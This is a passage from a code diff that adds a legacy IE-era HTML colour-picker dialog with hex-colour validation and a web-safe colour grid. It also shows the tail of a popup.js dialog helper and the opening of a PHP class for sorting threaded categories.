+ window.dialogHeight = body.offsetHeight + 50 + "px";
+ window.dialogWidth = body.offsetWidth + "px";
+ }
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ if (document.all) { // IE
+ window.returnValue = val;
+ } else {
+ opener.Dialog._return(val);
+ }
+ window.close();
+};
--- /dev/null
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html style="width: 238px; height: 182px"><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+ <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+ <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+ id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+ <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
--- /dev/null
+<?
+/******************************************************************************
+ *
+ * $Id: threads.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+ *
+ ******************************************************************************
+ *
+ * threads.phtml - php class for sorting and displaying multi
+ * level categories
+ *
+ ******************************************************************************
+ *
+ * This class takes an array of $threads sorts them based on
+ * their parent id.
+ *
+ *****************************************************************************/
+
+
+class Thread
+{
+ var $beginLevel = "<ul>";
+ var $beginLevel2 = "<ul>";
+ var $endLevel = "</ul>";
